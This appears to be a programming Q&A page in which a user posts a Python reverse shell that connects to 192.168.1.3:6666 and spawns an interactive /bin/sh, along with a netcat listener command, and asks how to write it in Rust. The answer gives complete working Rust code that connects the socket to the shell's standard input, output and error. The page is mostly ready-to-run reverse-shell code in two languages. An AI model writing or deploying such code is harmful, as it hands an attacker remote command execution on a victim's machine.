pythonsocketsrustsubprocessreverse-shell

What is the Rust equivalent of a reverse shell script written in Python?


A reverse shell script in Python normally looks something like this:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);

I am trying to duplicate this process with Rust:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();

I only got as far as getting a TCP connection to my host machine, listening with netcat (nc -l -p 6666). If I understand correctly, I need to redirect standard input, output, and error, through the socket and then somehow "call" /bin/sh.

How do I write this reverse shell script in Rust?


Solution

  • The equivalent of your Python reverse shell in Rust would be:

    use std::net::TcpStream;
    use std::os::unix::io::{AsRawFd, FromRawFd};
    use std::process::{Command, Stdio};
    
    fn main() {
        let s = TcpStream::connect("192.168.1.3:6666").unwrap();
        let fd = s.as_raw_fd();
        Command::new("/bin/sh")
            .arg("-i")
            .stdin(unsafe { Stdio::from_raw_fd(fd) })
            .stdout(unsafe { Stdio::from_raw_fd(fd) })
            .stderr(unsafe { Stdio::from_raw_fd(fd) })
            .spawn()
            .unwrap()
            .wait()
            .unwrap();
    }